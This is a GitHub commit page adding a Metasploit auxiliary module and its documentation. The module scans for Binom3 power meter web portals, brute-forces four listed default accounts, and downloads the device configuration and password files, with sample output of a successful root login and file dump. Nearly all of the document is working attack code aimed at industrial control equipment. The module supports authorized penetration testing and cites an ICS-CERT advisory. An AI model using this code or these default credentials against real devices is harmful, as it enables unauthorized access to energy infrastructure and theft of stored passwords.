Skip to content

Commit 041238f

Browse files
committed
land rapid7#7896 Binom3 power meter scanner and brute
2 parents f27ef55 + 34b8614 commit 041238f

File tree

2 files changed

+236
-0
lines changed

2 files changed

+236
-0
lines changed
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/binom3_login_config_pass_dump```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```run```
9+
10+
## Sample Output
11+
12+
```
13+
msf > use auxiliary/scanner/http/binom3_login_config_pass_dump
14+
msf auxiliary(binom3_login_config_pass_dump) > set rhosts 1.3.3.7
15+
msf auxiliary(binom3_login_config_pass_dump) > run
16+
17+
[+] 1.3.3.7:80 - Binom3 confirmed...
18+
[*] 1.3.3.7:80 - Trying username:"root" with password:"root"
19+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "root":"root"
20+
[+] ++++++++++++++++++++++++++++++++++++++
21+
[+] 1.3.3.7 - dumping configuration
22+
[+] ++++++++++++++++++++++++++++++++++++++
23+
[+] 1.3.3.7:80 - File retrieved successfully!
24+
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_Binom3_config_165927.txt
25+
[+] ++++++++++++++++++++++++++++++++++++++
26+
[+] 1.3.3.7 - dumping password file
27+
[+] ++++++++++++++++++++++++++++++++++++++
28+
[+] 1.3.3.7:80 - File retrieved successfully!
29+
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000004_moduletest_1.3.3.7_Binom3_passw_010954.txt
30+
[*] Scanned 1 of 1 hosts (100% complete)
31+
[*] Auxiliary module execution completed
32+
33+
```
Lines changed: 203 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,203 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::AuthBrute
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump',
17+
'Description' => %{
18+
This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found.
19+
},
20+
'References' =>
21+
[
22+
['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-031-01']
23+
],
24+
'Author' =>
25+
[
26+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
27+
],
28+
'License' => MSF_LICENSE,
29+
'DefaultOptions' => { 'VERBOSE' => true })
30+
)
31+
32+
register_options(
33+
[
34+
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
35+
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'root']),
36+
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'root'])
37+
], self.class
38+
)
39+
end
40+
41+
def run_host(ip)
42+
unless is_app_binom3?
43+
return
44+
end
45+
46+
each_user_pass do |user, pass|
47+
do_login(user, pass)
48+
end
49+
end
50+
51+
def report_cred(opts)
52+
service_data = {
53+
address: opts[:ip],
54+
port: opts[:port],
55+
service_name: opts[:service_name],
56+
protocol: 'tcp',
57+
workspace_id: myworkspace_id
58+
}
59+
60+
credential_data = {
61+
origin_type: :service,
62+
module_fullname: fullname,
63+
username: opts[:user],
64+
private_data: opts[:password],
65+
private_type: :password
66+
}.merge(service_data)
67+
68+
login_data = {
69+
last_attempted_at: Time.now,
70+
core: create_credential(credential_data),
71+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
72+
proof: opts[:proof]
73+
}.merge(service_data)
74+
75+
create_credential_login(login_data)
76+
end
77+
78+
#
79+
# Check if App is Binom3
80+
#
81+
82+
def is_app_binom3?
83+
begin
84+
res = send_request_cgi(
85+
{
86+
'uri' => '/',
87+
'method' => 'GET'
88+
}
89+
)
90+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
91+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
92+
return false
93+
end
94+
95+
if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Team-R Web') || res.body.include?('binom_ico') || res.body.include?('team-r')))
96+
97+
print_good("#{rhost}:#{rport} - Binom3 confirmed...")
98+
99+
return true
100+
else
101+
print_error("#{rhost}:#{rport} - Application does not appear to be Binom3. Module will not continue.")
102+
return false
103+
end
104+
end
105+
106+
#
107+
# Brute-force the login page
108+
#
109+
110+
def do_login(user, pass)
111+
print_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
112+
begin
113+
114+
res = send_request_cgi(
115+
{
116+
'uri' => '/~login',
117+
'method' => 'POST',
118+
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
119+
'vars_post' =>
120+
{
121+
'login' => user,
122+
'password' => pass
123+
}
124+
}
125+
)
126+
127+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
128+
129+
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
130+
return :abort
131+
132+
end
133+
134+
if (res && res.code == 302 && res.get_cookies.include?('IDSESSION'))
135+
136+
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
137+
138+
report_cred(
139+
ip: rhost,
140+
port: rport,
141+
service_name: 'Binom3',
142+
user: user,
143+
password: pass
144+
)
145+
146+
# Set Cookie
147+
148+
get_cookie = res.get_cookies
149+
cookie = get_cookie + ' NO-HELP=true; onlyRu=1'
150+
151+
# Attempting to download config file
152+
153+
config_uri = '~cfg_ask_xml?type=cfg'
154+
155+
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
156+
157+
if res && res.code == 200
158+
vprint_status('++++++++++++++++++++++++++++++++++++++')
159+
vprint_status("#{rhost} - dumping configuration")
160+
vprint_status('++++++++++++++++++++++++++++++++++++++')
161+
162+
print_good("#{rhost}:#{rport} - Configuration file retrieved successfully!")
163+
path = store_loot(
164+
'Binom3_config',
165+
'text/xml',
166+
rhost,
167+
res.body,
168+
rport,
169+
'Binom3 device config'
170+
)
171+
print_status("#{rhost}:#{rport} - Configuration file saved in: #{path}")
172+
else
173+
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
174+
return
175+
end
176+
177+
# Attempt to dump password file
178+
config_uri = '~cfg_ask_xml?type=passw'
179+
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
180+
181+
if res && res.code == 200
182+
vprint_status('++++++++++++++++++++++++++++++++++++++')
183+
vprint_status("#{rhost} - dumping password file")
184+
vprint_status('++++++++++++++++++++++++++++++++++++++')
185+
186+
print_good("#{rhost}:#{rport} - Password file retrieved successfully!")
187+
path = store_loot(
188+
'Binom3_passw',
189+
'text/xml',
190+
rhost,
191+
res.body,
192+
rport,
193+
'Binom3 device config'
194+
)
195+
print_status("#{rhost}:#{rport} - Password file saved in: #{path}")
196+
else
197+
return
198+
end
199+
else
200+
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
201+
end
202+
end
203+
end

0 commit comments

Comments
 (0)